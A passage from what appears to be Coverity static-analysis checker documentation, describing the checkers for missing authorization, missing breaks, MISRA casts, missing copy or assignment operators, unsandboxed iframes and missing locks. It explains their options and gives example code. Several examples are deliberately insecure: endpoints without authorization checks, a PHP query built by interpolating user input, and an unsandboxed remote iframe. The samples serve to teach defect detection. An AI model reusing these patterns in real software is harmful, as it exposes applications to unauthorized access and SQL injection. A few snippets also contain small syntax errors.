variable as an iterator if its type is the same as the return value of any
overload of end().
To specify multiple types as containers, use a regular expression alternative, for example:
-co MISMATCHED_ITERATOR:container_type:myVector|myArray
Be sure to escape the pipe from your shell. If you specify the
container_type option multiple times, only the last value
is used. Compare this option to the separate container_type
option to the INVALIDATE_ITERATOR checker.
MISMATCHED_ITERATOR:report_comparison:<boolean> - When this
C++ option is true, the checker will
report when iterators from different containers are compared. Defaults to
true. Defaults to
MISMATCHED_ITERATOR:report_comparison:true (disabled if
false).
This section describes one or more events produced by the MISMATCHED_ITERATOR checker.
assign - An iterator is assigned to another iterator.
mismatched_comparison - An iterator from some container was
compared to an iterator from a different container.
mismatched_iterator - Iterator from the wrong container was
used.
return_iterator - A function returned an iterator.
return_iterator_offset - A function returned an iterator that is
an offset from another iterator that is passed as an argument.
splice - Called the list::splice
function.
splice_arg - Invalid iterator passed to
splice.
temporary_copy - An iterator object is implicitly stored in a
temporary object. When a function returns a container by value, that container
is copied to a temporary object, and is distinct from any other container,
including one returned by an identical function call.
In Coverity Connect, MISSING_ASSIGN is a display name for defects that are found by the C++ MISSING_COPY_OR_ASSIGN checker. For more information, see MISSING_COPY_OR_ASSIGN.
Supported Languages: C#, Java, JavaScript, PHP, Python, Visual Basic
MISSING_AUTHZ reports cases where a method call is not guarded by an authorization check that is applied elsewhere in the code. The checker determines which functions should be protected by which authorization checks by statistically analyzing the correlation between the two across all code.
Recognized authorization checks include:
If statement conditions that are calls to a method that either, (a) returns a Boolean, or (b), is compared against an integer literal.
Annotations that are applied to Web application entry points.
The checker only reports on call sites that perform sensitive actions, either directly or by calling another method that does so. Examples of built-in sensitive actions include database and filesystem operations. See Chapter 6, Models, Annotations, and Primitives for information on how to model additional sensitive actions for C#, Java, and Visual Basic. See the sensitive_action directive for information on how to model sensitive actions for JavaScript.
Disabled by default: MISSING_AUTHZ is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
Web application security checker enablement: To enable MISSING_AUTHZ
along with other Web application checkers,
use the --webapp-security
option.
Python support: Security checkers are supported for Python 2.7.x only.
A MISSING_AUTHZ defect shows a call site that is not protected by a specific authorization check that is applied elsewhere. If the call does not directly perform a sensitive action, additional events will demonstrate how it eventually calls a method that does.
The defect illustrates several examples of calls to the same method that are protected by the suggested authorization check. Each example shows the method call and its associated authorization check.
This section provides one or more MISSING_AUTHZ examples.
Here, the request handler PostUnsafe in a Web API 2 controller is
missing an authorization check. Elsewhere in the program, most calls to
UpdateTheData are only accessible by an authorized user. The
checker does not report a defect at PostAnonymousData because it is
explicitly intended for unauthorized access.
using System.Web.Http;
using System.Data.SqlClient;
public class MyWebService : ApiController {
// No defect: These entry points are authorized.
[Authorize]
[HttpPost]
public void PostSafeData1(String data) {
// Here, we write some data to the database.
// This is evidence that 'UpdateTheData' should
// always be protected by an authorization check.
UpdateTheData(data);
}
[Authorize]
[HttpPost]
public void PostSafeData2(String data) {
// Here, we write some data to the database.
// This is evidence that 'UpdateTheData' should
// always be protected by an authorization check.
UpdateTheData(data);
}
[Authorize]
[HttpPost]
public void PostSafeData3(String data) {
// Here, we write some data to the database.
// This is evidence that 'UpdateTheData' should
// always be protected by an authorization check.
UpdateTheData(data);
}
// No defect: This entry point is intentionally unauthorized.
[AllowAnonymous]
[HttpPost]
public void PostAnonymousData(String data) {
UpdateTheData(data);
}
// MISSING_AUTHZ defect: We forgot the authorization check!
[HttpPost]
public void PostUnsafeData(String data) {
UpdateTheData(data);
}
// This helper method performs a "sensitive action": It updates the
// database.
private void UpdateTheData(String data) {
var cmd = new SqlCommand("UPDATE Data SET TheValue = @Value WHERE id = 1");
cmd.Parameters.AddWithValue("@Value", data);
cmd.ExecuteNonQuery();
cmd.Dispose();
}
}Example 1: The method perform_sensitive_action() is assumed to do something
that is a potentially sensitive action (for example, writing to a file).
class Inconsistent {
void checked_1(User user) {
if (is_authorized(user)) {
perform_sensitive_action();
}
}
void checked_2(User user) {
if (!is_authorized(user)) {
return;
}
perform_sensitive_action();
}
void checked_3(User user) {
if (!is_authorized(user)) {
// do nothing
} else {
perform_sensitive_action();
}
}
void unchecked() {
// Defect: The following method is usually protected by
// the authorization check is_authorized().
perform_sensitive_action();
}
}Example 2: Inconsistent Annotation. This example demonstrates the inconsistent application of a Spring Security annotation to a Spring MVC Controller.
The method write_to_database() is assumed to update a database, which
is considered to be a sensitive action.
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.*;
import org.springframework.security.access.prepost.PreAuthorize;
@Controller
class MyController {
@RequestMapping("/one")
@PreAuthorize("hasRole('ADMIN')")
void checked_1() {
write_to_database();
}
@RequestMapping("/two")
@PreAuthorize("hasRole('ADMIN')")
void checked_2() {
write_to_database();
}
@RequestMapping("/three")
@PreAuthorize("hasRole('ADMIN')")
void checked_3() {
write_to_database();
}
@RequestMapping("/other")
void unchecked() {
// Defect: The following method is usually protected by
// the authorization check @PreAuthorize.
write_to_database();
}
}Example 1: If the function perform_sensitive_action() performs a sensitive
action such as writing to a database, then MISSING_AUTHZ reports a defect on
the call to perform_sensitive_action in unchecked
because it is not guarded by a call to is_authorized.
function checked_1(user) {
if (is_authorized(user)) {
perform_sensitive_action();
}
}
function checked_2(user) {
if (!is_authorized(user)) {
return;
}
perform_sensitive_action();
}
function checked_3(user) {
if (!is_authorized(user)) {
// do nothing
} else {
perform_sensitive_action();
}
}
function unchecked() {
perform_sensitive_action();
}
The following example illustrates the use of the MISSING_AUTHZ checker in Visual Basic.
Imports System.Web.Http
Imports System.Data.SqlClient
Imports System.Web.Helpers
Public Class MissingAuthz
Inherits ApiController
<Authorize>
<HttpGet>
Public Sub PostSafeData1(ByVal user As User)
' Here, we write some data to the database.
' This is evidence that 'UpdateTheData' should
' always be protected by an authorization check.
AntiForgery.Validate()
PerformSensitiveAction()
End Sub
<Authorize>
<HttpGet>
Public Sub PostSafeData2(ByVal user As User)
' Here, we write some data to the database.
' This is evidence that 'UpdateTheData' should
' always be protected by an authorization check.
AntiForgery.Validate()
PerformSensitiveAction()
End Sub
<Authorize>
<HttpGet>
Public Sub PostSafeData3(ByVal user As User)
' Here, we write some data to the database.
' This is evidence that 'UpdateTheData' should
' always be protected by an authorization check.
AntiForgery.Validate()
PerformSensitiveAction()
End Sub
' MISSING_AUTHZ defect: We forgot the authorization check!
<HttpGet>
Public Sub PostUnsafeData()
AntiForgery.Validate()
PerformSensitiveAction()
End Sub
' This helper method performs a "sensitive action": It updates the
' database.
Private Sub PerformSensitiveAction(data As String)
Dim cmd = New SqlCommand("UPDATE Customers SET Name = @data WHERE id = 1")
cmd.ExecuteNonQuery()
cmd.Dispose()
End Sub
End Class
<?php
function write_user_comment($user, $comment) {
$db = new mysqli($location, $username, $password, $dbName);
// steps making sure that db is successfully connected
$db->query("INSERT INTO CommentTable (name, comment) VALUES ($user, $comment)");
// validate and close
}
function checked_post_comment_1($user, $comment) {
if(isauthz()) {
write_user_comment($user, $comment);
}
}
function checked_post_comment_2($user, $comment) {
if(isauthz()) {
write_user_comment($user, $comment);
}
}
function unchecked_post_comment($user, $comment) {
write_user_comment($user, $comment);
}
?> from sqlalchemy import Table, create_engine, MetaData, create_engine, Column, String, Integer
from flask import Flask
engine = create_engine(db_location)
metadata = MetaData()
fruit_tbl = Table('fruit_count', metadata,
Column('id', Integer, primary_key=True),
Column('name', String),
Column('count', Integer)
)
metadata.create_all(engine)
connection = engine.connect()
def update_fruits_count(name, newCount):
updObj = fruit_tbl.update().values(count=newCount).where(fruit_tbl.c.name == name)
connection.execute(updObj)
fruit_tracker = Flask(__name__)
# Update apple count
@fruit_tracker.route('/apple_update/', methods=('GET', 'POST'))
def apple_update():
if request.method == 'GET':
newCount = request.args.get('count')
else:
newCount = request.form.get('count')
if(isauthz()):
update_fruits_count('apple', newCount)
# Update orange count
@fruit_tracker.route('/orange_update/', methods=('GET', 'POST'))
def orange_update():
if request.method == 'GET':
newCount = request.args.get('count')
else:
newCount = request.form.get('count')
update_fruits_count('orange', newCount)
if __name__ == '__main__':
fruit_tracker.run() This section describes one or more MISSING_AUTHZ options.
You can set specific checker option values by passing them with --checker-option to the
cov-analyze command. For details, refer to the Coverity 2018.09 Command Reference.
MISSING_AUTHZ:stat_threshold:<percentage> - This
option sets the percentage of calls to
sensitive actions that must have the same authorization check in order for the
statistical analysis to conclude that the function or method should always be
guarded by that authorization check. See also enable_name_heuristics, which affects the behavior of this option.
Defaults to
MISSING_AUTHZ:stat_threshold:65.
MISSING_AUTHZ:entry_point_stat_threshold:<percentage>
- This option sets the percentage of calls to
sensitive actions that must have the same authorization check in order for the
statistical analysis to conclude that the function or method should always be
guarded by that authorization check in a Web application entry point
method. If authorization checks are expected to occur in Web
application request handlers and service methods, it might be desirable to
independently adjust this threshold. See also enable_name_heuristics, which affects the behavior of this option.
Defaults to
MISSING_AUTHZ:entry_point_stat_threshold:65. This
option only applies to C#, Java, and Visual Basic.
MISSING_AUTHZ:enable_name_heuristics:<boolean> -
This option enables the use of name-based
heuristics to bias the checker towards methods and annotations that are likely
to be authorization checks. These heuristics alter the effective statistical
threshold for affected methods. This feature can be disabled if the raw
mathematical percentage should be used. Defaults to
MISSING_AUTHZ:enable_name_heuristics:true.
MISSING_AUTHZ:only_framework_authorization:<boolean>
- This option restricts the inferred
authorization checks to only those that are known authorization frameworks (for
example, Spring Security). Defaults to
MISSING_AUTHZ:only_framework_authorization:false.
This option only applies to C#, Java, and Visual Basic.
You can use user models and directives to identify additional methods that perform sensitive actions. Defects will only be reported on method calls that include sensitive actions.
For C#, this action can be modelled using the following primitive:
Coverity.Primitives.Security.AuthzAction()
For a description of the security primitive, Security.AuthzAction(),
see Section 6.2.1.3, “C# and Visual Basic Primitives”.
For Java, this action can be modelled using the following primitive:
com.coverity.primitives.SecurityPrimitives.authz_action()
In the following example, the doSomething method is modeled as a
sensitive action. The doSomethingElse method is also considered a
sensitive action because it calls a method that performs a sensitive action.
import com.coverity.primitives.SecurityPrimitives;
class MyClass
{
public void doSomething() {
SecurityPrimitives.authz_action();
}
public void doSomethingElse() {
doSomething();
}
}For JavaScript, you can model sensitive actions using the
sensitive_action directive:
{
"sensitive_action" : {
"call_on" : {
"read_path_off_global" : [ { "property" : "addUser" } ]
}
}
}In the following example, the addUser method is modeled as a
sensitive action. The addAdminUser method is also considered a
sensitive action because it calls a method that performs a sensitive action.
addUser ("guest");
function addAdminUser() {
addUser ("admin");
}
//...
addAdminUser();
Supported Languages: C, C++, Java, JavaScript, Objective-C, Objective-C++, PHP
MISSING_BREAK
finds many instances of missing break statements in switch statements. It reports
defects when it finds missing break statements at the end of a block of code for a case
or default statement. A missing break statement can lead to incorrect or unpredictable
behavior. The Java version recognizes the SuppressWarnings
annotation.
Because there are many reasons why a case intentionally does not end with a break statement, the MISSING_BREAK checker does not report defects in cases that:
Are followed by a case that starts with a break.
End with a comment. The checker assumes that this comment is acknowledging a fallthrough. The comment can start anywhere on the last line, or be a multi-line C comment.
Are empty.
Have no control flow path because, for example, there is a return statement.
Have at least one conditional statement that contains a break statement.
Start and end on the same line.
Have a top-level statement that is a call to a function that can end the program.
Fall through to another case that has a similar numeric value when interpreted as ASCII. Values are considered similar when both are whitespace values (such as space, tab, or newline), or the two values are different cases (uppercase or lowercase) of the same letter.
Enabled by default: MISSING_BREAK is enabled by default. For enablement/disablement details and options, see Section 1.3, “Enabling Checkers”.
This section provides one or more MISSING_BREAK examples.
void doSomething(int what)
{
switch (what) {
case 1:
foo();
break;
case 2:
// Defect: Missing break statement in this case
bar();
case 3:
gorf();
break;
}
}function handleKeyPress(code) {
switch (code) {
case 38: // UP // Missing break after this case
handleKeyUp();
case 40: // DOWN
handleKeyDown();
break;
case 33: // PAGE UP
handleKeyPageUp();
break;
case 34: // PAGE DOWN
handleKeyPageDown();
break;
default:
break;
}
}This section describes one or more MISSING_BREAK options.
You can set specific checker option values by passing them with --checker-option to the
cov-analyze command. For details, refer to the Coverity 2018.09 Command Reference.
MISSING_BREAK:allowFallthroughCommentAnywhere:<boolean>
- This option recognizes a comment that starts anywhere on the last line, not
just at the beginning, as the fallthrough acknowledgement comment. Defaults to
MISSING_BREAK:allowFallthroughCommentAnywhere:true
(all languages).
MISSING_BREAK:anyLineRegex:<regular_expression> - For
this option, if any line in the case block matches the regular expression string
(a Perl regular expression), then that case block is not reported. Defaults to regular expression
MISSING_BREAK:anyLineRegex:[^#]fall.?thro?u
(all languages).
Sometimes the fall-through acknowledgement is somewhere other than the last line. Set this option to the empty string to disable this behavior.
Example:
switch (int x) {
case 1:
// fallthrough
x++;
case 2:
x++;
}MISSING_BREAK:maxCountdownStartVal:<integer> - This
option sets the maximum start case value where a switch statement on a length,
which represents an incremented pointer, processes counts in reverse order.
Defaults to
MISSING_BREAK:maxCountdownStartVal:16 for
C, C++, Java, JavaScript, Objective-C, Objective-C++, PHP (all languages).
Example:
switch (length) {
case 3:
*p++=(char)(value>>16);
case 2:
*p++=(char)(value>>8);
case 1:
*p++=(char)value;
default:
break;
}MISSING_BREAK:maxReportsPerFunction:<integer> - This
option suppresses all defect reports for those functions that exceed the
specified maximum number of defects found by the checker. To allow an unlimited
number of defects to be reported, specify 0. Defaults to
MISSING_BREAK:maxReportsPerFunction:5 (all
languages).
MISSING_BREAK:suppressCountdowns:<boolean> - If this
option is set to false, the checker will report a defect when a
switch statement on a length processes counts in reverse order. Defaults to
MISSING_BREAK:suppressCountdowns:true (all
languages), which suppresses the defect report.
MISSING_BREAK:suppressIfLastComment:<boolean> - If
this option is set to false, the checker will report a defect when
the code block for a case ends with a comment. Defaults to
MISSING_BREAK:suppressIfLastComment:true (all
languages), which suppresses the defect report
MISSING_BREAK:suppressIfSimilarASCII:<boolean> - If
this option is set to false, the checker will report a defect when
a case falls through to another case that has a similar numeric value when
interpreted as ASCII. Values are considered similar when both are whitespace
values (such as space, tab, or newline), or the two values are different cases
(uppercase or lowercase) of the same letter. Defaults to
MISSING_BREAK:suppressIfSimilarASCII:true (all
languages).
MISSING_BREAK:suppressIfSucceedingAdjacentPair:<boolean>
- If this option is set to true, the checker will not report a
defect when if the case block is immediately followed by two more case lines
with no intervening blank lines. Defaults to
MISSING_BREAK:suppressIfSucceedingAdjacentPair:false
(all languages).
Example:
switch (x) {
case 1:
y++;
case 2:
case 3:
y++;
}MISSING_BREAK:suppressOnGuardedBreak:<boolean> - If
this option is set to false, the checker will report a defect when
the code block for a case includes at least one conditional statement, and at
least one of those statements includes a break statement. Defaults to
MISSING_BREAK:suppressOnGuardedBreak:true
(all languages), which suppresses the defect report.
MISSING_BREAK:suppressOnKillpaths:<boolean> - If this
pption is set to false, the checker will report a defect when the
top-level statement in a case is a call to a function that can end the program.
Defaults to
MISSING_BREAK:suppressOnKillpaths:true (all
languages except for PHP), which suppresses the defect report.
MISSING_BREAK:suppressOnNextBreak:<boolean> - If this
option is set to false, the checker will report a defect when the
case that follows the case with the missing break begins with a break statement.
Defaults to
MISSING_BREAK:suppressOnNextBreak:true (all
languages) which suppresses the defect report.
MISSING_BREAK:suppressOnSameLine:<boolean> - If this
option is set to false, the checker will report a defect when a
case starts and ends on the same line, which often results from macro
expansions. Defaults to
MISSING_BREAK:suppressOnSameLine:true (all
languages), which suppresses the defect report.
MISSING_BREAK:suppressOnTerminatedBranches:<boolean> -
If this option is set to false, the checker will report a defect
when there is no control flow statement between the start and end cases. Defaults to
MISSING_BREAK:suppressOnTerminatedBranches:true
(all languages), which suppresses the defect report.
Example:
void suppressed(int a)
{
switch (a) {
case 0:
case 1: // no defect here
++a;
return;
case 2:
++a;
}
}
void notSuppressed(int a)
{
switch (a) {
case 0:
case 1: // defect reported here
++a:
if (a & 1) return;
case 2:
+=a;
}
}![]() | |
If you want to check for MISRA coding standards, set all of the options, except
for |
The Java MISSING_BREAK checker searches for the
SuppressWarnings annotation, which overrides the default
behavior of the checker.
For example, the checker does not report defects in the following cases:
class Test {
int f = -1;
@SuppressWarnings("fallthrough")
public Test(int n) {
switch(n) {
case 4: this.f = 0;
default: ++f;
}
}
}
@SuppressWarnings("fallthrough")
class Test2 {
int f = -1;
public Test2(int n) {
switch(n) {
case 4: this.f = 0;
default: ++f;
}
}
}See Section 6.3.2, “Adding Java Annotations to Increase Accuracy” and the Javadoc
documentation at <install_dir>/doc/<en|ja>/annotations/index.html for more information.
This section describes one or more events produced by the MISSING_BREAK checker.
unterminated_case - A case statement that does not have a
break statement.
unterminated_default - A default statement that does not have
a break statement.
fallthrough - A case falls through because of a missing break
statement.
Supported Languages: C, C++, Objective-C, Objective-C++
MISRA_CAST finds violations of the Motor Industry Software Reliability Association (MISRA)-C:2004 Rules 10.1 through 10.5. These rules all pertain to explicit casts and implicit conversions that can, under some circumstances, lead to unexpected changes to integer or floating values in the course of evaluating expressions.
Disabled by default: MISRA_CAST is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
Summaries of the relevant MISRA rules follow:
MISRA-C 10.1. The value of an expression of integer type shall not be implicitly converted to a different type if:
MISRA-C 10.2. The value of an expression of floating type shall not be implicitly converted to a different type if any of the following are true:
It is not a conversion to a wider floating type.
The expression is complex.
The expression is a function argument.
The expression is a return expression.
MISRA-C 10.3. The value of a complex expression of integer type can only be cast to a type that is narrower and of the same signedness as the underlying type of the expression.
MISRA-C 10.4. The value of a complex expression of floating type can only be cast to a narrower floating type.
MISRA-C 10.5. If the bitwise operators ~ and << are applied to an operand of
underlying type unsigned char or unsigned short, the
result shall be immediately cast to the underlying type of the operand.
Although the MISRA-C:2004 rules apply only to C, the MISRA_CAST checker finds these kinds of problems in both C and C++.
For more information, including examples of violations of these rules, refer to
MISRA-C:2004 Guidelines for the Use of the C Language in Critical
Systems, which can be purchased at
www.misra.org.uk.
![]() | Extending the MISRA analysis |
|---|---|
Starting in version 7.7.0, you can also run a separate MISRA analysis to find violations described in Appendix C, MISRA Rules and Directives. |
This section provides one or more MISRA_CAST examples.
In the following example the complex
expression xs32a/xs32b with an integer type is cast to non-integer type,
and is thus a violation of Rule 10.3:
const int32_t xs32a = 0, xs32b = 1;
static void non_compliant1()
{
(void)(float64_t)(xs32a / xs32b); // Defect: Casting complex expression with
// integer type to a non-integer
// type float64_t
}In the following example f64a is implicitly converted to a narrower type,
and is thus a violation of Rule 10.2:
float32_t f32a;
float64_t f64a;
int16_t compliant()
{
f32a = 2.5F;
f64a = f64b + f32a;
}
static void non_compliant1()
{
f32a = f64a; // Defect, casting complex expression to narrower type
}In the following example, f32a and f32b of type
float32_t are cast to float64_t, and in violation of Rule 10.4:
extern float32_t f32a, f32b;
static void non_compliant1()
{
(void)(float64_t)(f32a + f32b); //Defect: Type 32-bit float_t cast
// to 64-bit float64_t
}This section describes one or more MISRA_CAST options.
You can set specific checker option values by passing them with --checker-option to the
cov-analyze command. For details, refer to the Coverity 2018.09 Command Reference.
MISRA_CAST:allow_widening_bool:<boolean> - When
this option is true, the checker
suppresses reporting of boolean values cast to wider integer types. Defaults to
MISRA_CAST:allow_widening_bool:false
For example, in C++ by default the following is reported as a defect:
extern int x; long long ll = (long long)(x == 0);
MISRA_CAST:check_constant_expressions:<boolean> -
When this option is true, the
checker reports violations within constant expressions. Defaults to
MISRA_CAST:check_constant_expressions:false
Example:
int const s1 = 0x80000000;
int const s2 = 0x80000000;
long long not_what_you_think = (long long)(s1 + s2); /* MISRA states that
the whole initializer is a constant expression, so default is not to
report the "late cast" of the int expression "s1 + s2" to the wider type
long long as a defect. */MISRA_CAST:non_negative_literals_may_be_unsigned:<boolean>
- When this option is true, the
checker changes the MISRA definition of the underlying type of an integer
constant such that, if it occurs in a context requiring an unsigned type, an
integer literal with a non-negative value is considered to have an unsigned
underlying type if its value fits into the required type. Defaults to
MISRA_CAST:non_negative_literals_may_be_unsigned:false
Example:
void f(unsigned char);
f(2); // Defect: MISRA states that "2" is a signed char,
// so this is a 10.1 violation.
This section describes one or more events produced by the MISRA_CAST checker.
integer_narrowing_conversion - MISRA-2004 Rule 10.1
violation, implicitly converting expression.
integer_signedness_changing_conversion - MISRA-2004 Rule 10.1
violation, implicitly converting expression.
integer_complex_conversion - MISRA-2004 Rule 10.1 violation,
implicitly converting complex expression.
integer_non_constant_arg_conversion - MISRA-2004 Rule 10.1
violation, implicitly converting non-constant expression.
integer_non_constant_rtn_conversion - MISRA-2004 Rule 10.1
violation, implicitly converting complex expression with underlying type
int (32 bits, signed) to type long long int (64
bits, signed) in a return expression.
integer_to_float_conversion - MISRA-2004 Rule 10.1 violation,
implicitly converting complex expression with integer type int to
non-integer type float64_t.
float_narrowing_conversion - MISRA-2004 Rule 10.2 violation,
implicitly converting expression with type double (64 bits) to
narrower type float32_t (32bits).
float_complex_conversion - MISRA-2004 Rule 10.2 violation,
implicitly converting complex expression: with underlying type
float (32 bits) to type double (64 bits).
float_non_constant_arg_conversion - MISRA-2004 Rule 10.2
violation, implicitly converting non-constant expression underlying type
float (32 bits) to type double (64 bits) in a
function argument.
float_non_constant_rtn_conversion - MISRA-2004 Rule 10.2
violation, implicitly converting complex expression with underlying type
float (32 bits) to type double (64 bits) in a
return expression.
float_to_integer_conversion - MISRA-2004 Rule 10.2 violation,
implicitly converting expression: with floating type double to
non-float ing type uint16_t.
integer_widening_cast - MISRA-2004 Rule 10.3 violation,
casting complex expression with underlying type unsigned short (16
bits, unsigned) to wider type uint32_t (32 bits, unsigned).
integer_signedness_changing_cast - MISRA-2004 Rule 10.3
violation, casting complex expression with underlying type int (32
bits, signed) to type "unsigned int (32 bits, unsigned) with
different signedness.
integer_to_float_cast - MISRA-2004 Rule 10.3 violation,
casting complex expression with integer type int to non-integer
type float64_t.
float_widening_cast - MISRA-2004 Rule 10.4 violation, casting
complex expression with type float (32 bits) to wider type
float64_t (64 bits).
float_to_integer_cast - MISRA-2004 Rule 10.4 violation,
casting complex expression with floating type double to
non-floating type uint16_t.
bitwise_op_no_cast - MISRA-2004 Rule 10.5 violation, bitwise
operator << applied to operand with underlying type
unsigned short is not being immediately cast to that type.
bitwise_op_bad_cast - MISRA-2004 Rule 10.5 violation, bitwise
operator << applied to operand with underlying type
unsigned short is being cast to int rather than to
that same type.
Supported Languages: C, C++, Objective-C, Objective-C++
The MISSING_COMMA checker finds omissions of a comma between lines in a string array initialization. A missing comma can lead to a single concatenated string element instead of separate string elements, and it can contribute to unexpected results or to an overrun.
Enabled by default: MISSING_COMMA is enabled by default. For enablement/disablement details and options, see Section 1.3, “Enabling Checkers”.
This section provides one or more MISSING_COMMA examples.
char* arr[] = {
"a string literal" //Defect here.
"another string literal"
};
char* arr[] = {
"a string literal" //Defect here.
"another string literal"
};
char* arr[] = {
"a string literal" //"a string literal",//Defect here.
"another string literal"
};
char* arr[] = {
"a string literal" //NO defect here because a comma precedes
//the first string literal in next line.
,"another string literal"
};This checker does not handle cases where a macro expansion or conditional compilation is involved. In addition, the checker treats the following conditions as intentional, not as defects:
If the last string literal in the missing-comma line ends with a space, tab,
\n, or \t.
If the first string literal in the line following the missing-comma line
starts with a space, tab, \n, or \t.
If there is more than one missing comma in the string array initialization.
If lines following the line that is missing a comma are indented.
In Coverity Connect, MISSING_COPY is a display name for defects that are found by the C++ MISSING_COPY_OR_ASSIGN checker.
For more information, see MISSING_COPY_OR_ASSIGN.
MISSING_COPY_OR_ASSIGN reports many cases where a class that own resources, such as dynamically allocated memory or operating system handles, lacks either a user-written copy constructor or a user-written assignment operator. When this is the case, the compiler will generate the missing operator, but the compiler-generator operator only does a shallow copy. Later, when the copies are destroyed, the owned resource will be destroyed twice, leading to memory corruption. The defects reported by this checker appear as either MISSING_COPY or MISSING_ASSIGN in Coverity Connect. One, the other, or both of these can be reported for any one class.
A class is considered to own resources if at least one constructor allocates resources
and retains them in fields of this and the destructor releases resources
from fields of this. Not only must such a class have a copy constructor and
an assignment operator but those functions must manage the resources.
To be considered as an assignment operator for the purposes of this rule, an assignment operator must be usable to assign entire objects. Private copy constructors or assignment operators are assumed not to be meant for use and are not required to manage resources.
Disabled by default: MISSING_COPY_OR_ASSIGN is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
This section provides one or more MISSING_COPY_OR_ASSIGN examples.
A simple string wrapper class:
class MyString {
char *p;
public:
// evidence of resource ownership
MyString(const char *s) : p(strdup(s)) {}
// further evidence of resource ownership
~MyString() {free(p);}
// no copy constructor at all
// no assignment operator at all
const char *str() const {return p;}
operator const char *() const {return str();}
};
A string wrapper with inadequate copy constructor and assignment operator:
class MyString {
char *p;
public:
MyString(const char *s) : p(strdup(s)) {}
// inadequate copy constructor
MyString(const MyString &init) : p(init.p) {}
~MyString() {free(p);}
// inadequate assignment operator
MyString &operator=(const MyString &rhs)
{
if (this != &rhs) {
p = rhs.p;
}
return *this;
}
};
This section describes one or more MISSING_COPY_OR_ASSIGN options.
You can set specific checker option values by passing them with --checker-option to the
cov-analyze command. For details, refer to the Coverity 2018.09 Command Reference.
MISSING_COPY_OR_ASSIGN:report_uncalled:<boolean> - If this
option is set to true (the default), the checker will report a missing copy
constructor and assignment operator even if they would never be called (because
the class is currently never copied). When this option is set to
false, the checker will look for evidence of copying before
reporting a defect. Defaults to
MISSING_COPY_OR_ASSIGN:report_uncalled:true (C++).
This section describes one or more events produced by the MISSING_COPY_OR_ASSIGN checker.
missing_copy_ctor - A class that owns resources has no copy
constructor.
bad_generated_copy_ctor - A class that owns resources has no
user-written copy constructor. The compiler-generated copy constructor does not
properly manage owned resources.
inadequate_copy_ctor - A class that owns resources has a
user-written copy constructor that does not manage those resources.
missing_assign - A class that owns resources has no
assignment operator.
bad_generated_assign - A class that owns resources has no
user-written assignment operator. The compiler-generated assignment operator
does not properly manage those resources.
inadequate_assign - A class that owns resources has a
user-written assignment operator that does not manage those resources.
Supported Languages: JavaScript
MISSING_IFRAME_SANDBOX looks for instances of an iframe with its source attribute pointing to a remote URL but without a sandbox attribute (CWE 829). Loading untrusted websites in an iframe without a sandbox can allow an attacker to break out of the iframe and mount Clickjacking or Phishing attacks. To prevent such attacks it is best practice to set the sandbox attribute of the iframe to grant the least privileges required to achieve the desired functionality.
Disabled by default: MISSING_IFRAME_SANDBOX is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
Web application security checker enablement: To enable MISSING_IFRAME_SANDBOX
along with other Web application checkers,
use the --webapp-security
option.
A MISSING_IFRAME_SANDBOX defect shows the dynamic construction of an iframe, a call to an API that sets the source attribute of the iframe and evidence showing that the value of the source is a remote website. The defect can be suppressed by also setting the sandbox attribute of the iframe.
This section provides one or more MISSING_IFRAME_SANDBOX examples.
Consider the following JavaScript function that creates an iframe:
function create_iframe() {
var iframe = document.createElement('iframe');
var src = "https://" + "remote-website.com";
iframe.setAttribute('src', src); // Defect here.
return iframe;
}The checker will report a defect because the iframe source points to a remote website but there is no evidence of the iframe being sandboxed. In the following example the checker will not report the defect as setting the sandbox attribute to the empty string applies all restrictions:
function create_iframe() {
var iframe = document.createElement('iframe');
var src = "https://" + "remote-website.com";
iframe.setAttribute('src', src); // No defect here.
iframe.setAttribute('sandbox', '');
return iframe;
}This section describes one or more MISSING_IFRAME_SANDBOX options.
You can set specific checker option values by passing them with --checker-option to the
cov-analyze command. For details, refer to the Coverity 2018.09 Command Reference.
MISSING_IFRAME_SANDBOX:safe_url_pattern:<regex> - This
option specifies a regular
expression (Perl syntax) that matches trusted URLs. The checker will not report
defects on iframes with sources matching this regular expression. Defaults to
"^https?://(www.)?example\\.(com|org)" to suppress defects in test code. Setting
this option overrides the default value.
This checker option is automatically set to "" to indicate that no URL will be
considered safe if the --webapp-security-aggressiveness-level option of the
cov-analyze command is set to high.
MISSING_IFRAME_SANDBOX:unsafe_url_pattern:<regex> - This
option specifies a regular
expression (Perl syntax) that matches untrusted URLs. The checker will report
defects on iframes with sources matching this regular expression only if they do
not also match the MISSING_IFRAME_SANDBOX:safe_url_pattern regular expression.
Defaults to "^https?://". Setting this option overrides the default value.
MISSING_IFRAME_SANDBOX:report_on_nonconst_url:<boolean> -
Setting this option to true causes
the checker to report defects on URL values that are not string constants, in
addition to the constant string unsafe URLs specified by
MISSING_IFRAME_SANDBOX:unsafe_url_pattern:<regex>.
This checker option is automatically set to true if the
--webapp-security-aggressiveness-level option of the cov-analyze command is set
to high.
Supported Languages: C, C++, Objective-C, Objective-C++
MISSING_LOCK finds many cases where a variable or field is normally protected by a lock/mutex, but in at least one case, is accessed without the lock held. This is a form of concurrent race condition. Race conditions can lead to unpredictable or incorrect program behavior.
MISSING_LOCK tracks when variables are updated with locks. If a variable update is found that does not have a lock, but usually does have a lock, a defect is reported.
Disabled by default: MISSING_LOCK is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
Concurrency checker enablement: To enable MISSING_LOCK along with other concurrency checkers that are disabled by default, use the
--concurrency option to cov-analyze.
This section provides one or more MISSING_LOCK examples.
In the following example, the lock
bongo is acquired most of the time when the variable bango
is accessed. When bango is accessed without a lock in the
lockDefect function, a defect is reported.
struct bingo {
int bango;
lock bongo;
};
void example(struct bingo *b) {
lock(&b->bongo); // example_lock
b->bango++; // example_access
unlock(&b->bongo);
lock(&b->bongo); // example_lock
b->bango++; // example_access
unlock(&b->bongo);
lock(&b->bongo); // example_lock
b->bango++; // example_access
unlock(&b->bongo);
}
void lockDefect(struct bingo *b) {
b->bango = 99; // missing_lock
}This section describes one or more MISSING_LOCK options.
You can set specific checker option values by passing them with --checker-option to the
cov-analyze command. For details, refer to the Coverity 2018.09 Command Reference.
MISSING_LOCK:lock_inference_threshold:<percentage>
- This option specifies the minimum percentage
of accesses to a global variable or field of a struct that must be protected by
a particular lock for the checker to determine that the variable or field should
always be protected by that lock. Variable v is treated as
protected by lock l if the proportion of the number accesses of
v with l compared to the total number of accesses
of v is less than or equal to the percentage you set. If the
